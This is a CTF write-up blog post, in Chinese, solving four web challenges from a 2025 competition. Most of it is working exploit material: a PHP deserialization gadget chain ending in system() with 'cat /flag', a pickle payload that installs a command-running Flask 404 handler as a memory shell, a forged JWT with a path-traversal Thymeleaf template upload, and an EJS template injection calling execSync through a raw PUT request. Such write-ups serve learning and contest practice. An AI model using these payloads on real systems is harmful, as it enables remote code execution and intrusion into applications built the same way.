Huajiの小窝.

羊城杯2025-web

2025/10/14
loading

羊城杯2025-Web

题目感觉出的不错,很有意思,尽力做了

ez_unserialize

思路:H->__destruct()A::start() 回显 $a->next,让它是 V
V::__toString()$this->go->$abc,设 $abc='secret'go=E 触发 E::__get()$found->check()
F::check()finalstep='u'(小写绕过 /U/),实例化 new u() 实际拿到类 U,再 ($this->step)() 触发 U::__invoke() → 调 N::__call()call_user_func('system', $_POST['cmd'])

用同名类构造链,POST 两个参数:payloadcmd=cat /flag

所以写脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class A { public $first; public $step; public $next; }
class E { private $you; public $found; private $secret; }
class F { public $fifth; public $step; public $finalstep; }
class H { public $who; public $are; public $you; }
class V { public $good; public $keep; public $dowhat; public $go; }

$v = new V();
$v->dowhat = 'secret';
$e = new E();
$f = new F();
$f->finalstep = 'u';
$e->found = $f;
$v->go = $e;

// A::start() echo $this->next 触发 V::__toString
$a = new A();
$a->next = $v;
$h = new H();
$h->who = $a;


$payload = serialize($h);

echo urlencode($payload);


跑完生成payload,再传上cmd参数

1
payload=O%3A1%3A%22H%22%3A3%3A%7Bs%3A3%3A%22who%22%3BO%3A1%3A%22A%22%3A3%3A%7Bs%3A5%3A%22first%22%3BN%3Bs%3A4%3A%22step%22%3BN%3Bs%3A4%3A%22next%22%3BO%3A1%3A%22V%22%3A4%3A%7Bs%3A4%3A%22good%22%3BN%3Bs%3A4%3A%22keep%22%3BN%3Bs%3A6%3A%22dowhat%22%3Bs%3A6%3A%22secret%22%3Bs%3A2%3A%22go%22%3BO%3A1%3A%22E%22%3A3%3A%7Bs%3A6%3A%22%00E%00you%22%3BN%3Bs%3A5%3A%22found%22%3BO%3A1%3A%22F%22%3A3%3A%7Bs%3A5%3A%22fifth%22%3BN%3Bs%3A4%3A%22step%22%3BN%3Bs%3A9%3A%22finalstep%22%3Bs%3A1%3A%22u%22%3B%7Ds%3A9%3A%22%00E%00secret%22%3BN%3B%7D%7D%7Ds%3A3%3A%22are%22%3BN%3Bs%3A3%3A%22you%22%3BN%3B%7D&cmd=cat /flag

image-20251011092115371

但问ai的更短

1
2
payload=O%3A1%3A%22H%22%3A1%3A%7Bs%3A3%3A%22who%22%3BO%3A1%3A%22A%22%3A1%3A%7Bs%3A4%3A%22next%22%3BO%3A1%3A%22V%22%3A2%3A%7Bs%3A6%3A%22dowhat%22%3Bs%3A6%3A%22secret%22%3Bs%3A2%3A%22go%22%3BO%3A1%3A%22E%22%3A1%3A%7Bs%3A5%3A%22found%22%3BO%3A1%3A%22F%22%3A1%3A%7Bs%3A9%3A%22finalstep%22%3Bs%3A1%3A%22u%22%3B%7D%7D%7D%7D%7D
&cmd=cat%20/flag

ez-blog

提示访客只能用访客账号登录哦!,先用guest/guest登录,发现分配了一个token:8004954b000000000000008c03617070948c04557365729493942981947d94288c026964944b028c08757365726e616d65948c056775657374948c0869735f61646d696e94898c096c6f676765645f696e948875622e

所以先想到伪造,登录上admin

1
2
3
4
5
6
7
8
9
10
11
12
13
import binascii

hexs = "8004954b000000000000008c03617070948c04557365729493942981947d94288c026964944b028c08757365726e616d65948c056775657374948c0869735f61646d696e94898c096c6f676765645f696e948875622e"
data = binascii.unhexlify(hexs)

# 将 b"\x8c\x08is_admin\x94\x89" 中的 0x89 -> 0x88
old = b"\x8c\x08is_admin\x94\x89"
new = b"\x8c\x08is_admin\x94\x88"
assert old in data, "未找到 is_admin=False 片段"
forged = data.replace(old, new, 1)

print(binascii.hexlify(forged).decode())
#8004954b000000000000008c03617070948c04557365729493942981947d94288c026964944b028c08757365726e616d65948c056775657374948c0869735f61646d696e94888c096c6f676765645f696e948875622

测试发现blog中不存在ssti,只能打内存马

思路:取 404 的异常类与状态码:app._get_exc_class_and_code(404)

将 Flask 的 404 错误处理器改写为:lambda a: __import__('os').popen(request.args.get('huaji')).read()

1
2
3
4
5
6
7
8
9
import binascii,pickle

class ys():
def __reduce__(self):
return (exec,("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('ys')).read()",))

payload=pickle.dumps(ys())
print(binascii.hexlify(payload))
#b'800495da000000000000008c086275696c74696e73948c04657865639493948cbe676c6f62616c206578635f636c6173733b676c6f62616c20636f64653b6578635f636c6173732c20636f6465203d206170702e5f6765745f6578635f636c6173735f616e645f636f646528343034293b6170702e6572726f725f68616e646c65725f737065635b4e6f6e655d5b636f64655d5b6578635f636c6173735d203d206c616d62646120613a5f5f696d706f72745f5f28276f7327292e706f70656e28726571756573742e617267732e676574282779732729292e72656164282994859452942e'

在站点传几次token

image-20251012123015639

访问任意触发 404 的 URL,并在查询参数里带上 huaji=命令,就会在服务器上执行该命令

image-20251012122957612 image-20251012123101745

authweb

先伪造jwt,逆向分析得知有两个用户user1admin

image-20251012015142242

ROLE_USER权限才能文件上传,所以用user1

image-20251012015534082

secret可以在JwtTokenProvider.class里面拿

image-20251012015752739

写脚本生成一个jwt

1
2
3
4
5
6
7
8
9
10
import jwt, time
secret = "25d55ad283aa400af464c76d713c07add57f21e6a273781dbf8b7657940f3b03"
now = int(time.time())
payload = {
"sub": "user1"
}
tok = jwt.encode(payload, secret, algorithm="HS256")
print(tok)
# eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyMSJ9.sFqXJja3YmLPT2ULrh0wnb-8HmGT13qSRUVs9-1rNCw

之后curl测试,

1
curl -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyMSJ9.sFqXJja3YmLPT2ULrh0wnb-8HmGT13qSRUVs9-1rNCw" http://45.40.247.139:15040/upload

返回405,或者使用OPTIONS 请求,都说明此处应当post上传文件,所以考虑thymeleaf模板注入,此处路径经过多次fuzz(ps:当时好像因为渲染问题一直报错)。

传模板

传了带Thymeleaf的,可以加载,证明存在

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<table>
<thead>
<tr>
<th th:text="#{msgs.headers.name}">Name</th>
<th th:text="#{msgs.headers.price}">Price</th>
</tr>
</thead>
<tbody>
<tr th:each="prod: ${allProducts}">
<td th:text="${prod.name}">Oranges</td>
<td th:text="${#numbers.formatDecimal(prod.price, 1, 2)}">0.99</td>
</tr>
</tbody>
</table>

所以最后写文件

payload.html

1
2
3
<pre th:each="e : ${@environment.getSystemEnvironment().entrySet()}"
th:text="${e.key + '=' + e.value}">123</pre>

传文件

1
2
3
4
5
6
curl -F "imgName=../../tmp/yui" -F "imgFile=@payload.html;type=text/html" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyMSJ9.sFqXJja3YmLPT2ULrh0wnb-8HmGT13qSRUVs9-1rNCw" -v http://45.40.247.139:23951/upload

访问
http://45.40.247.139:23951/login/dynamic-template?value=file:../../../../tmp/yui

curl -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyMSJ9.sFqXJja3YmLPT2ULrh0wnb-8HmGT13qSRUVs9-1rNCw" http://45.40.247.139:23951/login/dynamic-template?value=file:../../../../tmp/yui

image-20251012020520390

staticNodeService

根据题目得出满足

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h>

int main() {
FILE *file;
int c;

file = fopen("/flag", "r");
while ((c = fgetc(file)) != EOF) {
putchar(c);
}
fclose(file);

return 0;
}

才得flag、

之后继续分析

image-20251012122433694

App.js可以看到两个重要参数:templ,req.body.content

templ的功能就是决定使用哪个EJS模板渲染页面,默认是index

而content功能就是文件上传内容(base64编码)

这里就想到了node.js注入

相关参考

Node.js 常见漏洞学习与总结-先知社区

尝试node.js注入

1
2
3
4
5
6
7
8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<%- global.process.mainModule.require('child_process').execSync('/readflag') %>
</ul>
<hr>
</body>
</html>

Base64编码绕

1
PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMDEvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIvaHRtbDQvc3RyaWN0LmR0ZCI+CjxodG1sPgo8aGVhZD4KPCUtIGdsb2JhbC5wcm9jZXNzLm1haW5Nb2R1bGUucmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCcvcmVhZGZsYWcnKSAlPgo8L3VsPgo8aHI+CjwvYm9keT4KPC9odG1sPgo8L2h0bWw+

抓包在views下面传包,content注入别忘了将请求头改成PUT

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PUT /views/jumao.ejs/. HTTP/1.1
Host: 45.40.247.139:20306
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.97 Safari/537.36 Core/1.116.554.400 QQBrowser/19.5.6663.400
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: Token=8004954b000000000000008c03617070948c04557365729493942981947d94288c026964944b028c08757365726e616d65948c056775657374948c0869735f61646d696e94898c096c6f676765645f696e948875622e
Content-Type: application/json
If-None-Match: W/"273-if8cs80g9cADhHskk2Pvb4OoltU"
Connection: keep-alive
Content-Length: 754

{"content":"PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMDEvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIvaHRtbDQvc3RyaWN0LmR0ZCI+CjxodG1sPgo8aGVhZD4KPCUtIGdsb2JhbC5wcm9jZXNzLm1haW5Nb2R1bGUucmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCcvcmVhZGZsYWcnKSAlPgo8L3VsPgo8aHI+CjwvYm9keT4KPC9odG1sPgo8L2h0bWw+"}

image-20251012124048274

然后根据templ 传参

1
http://45.40.247.139:20306/?templ=jumao.ejs

image-20251012124155831

by. Huaji

CATALOG
  1. 1. 羊城杯2025-Web
    1. 1.1. ez_unserialize
    2. 1.2. ez-blog
    3. 1.3. authweb
    4. 1.4. staticNodeService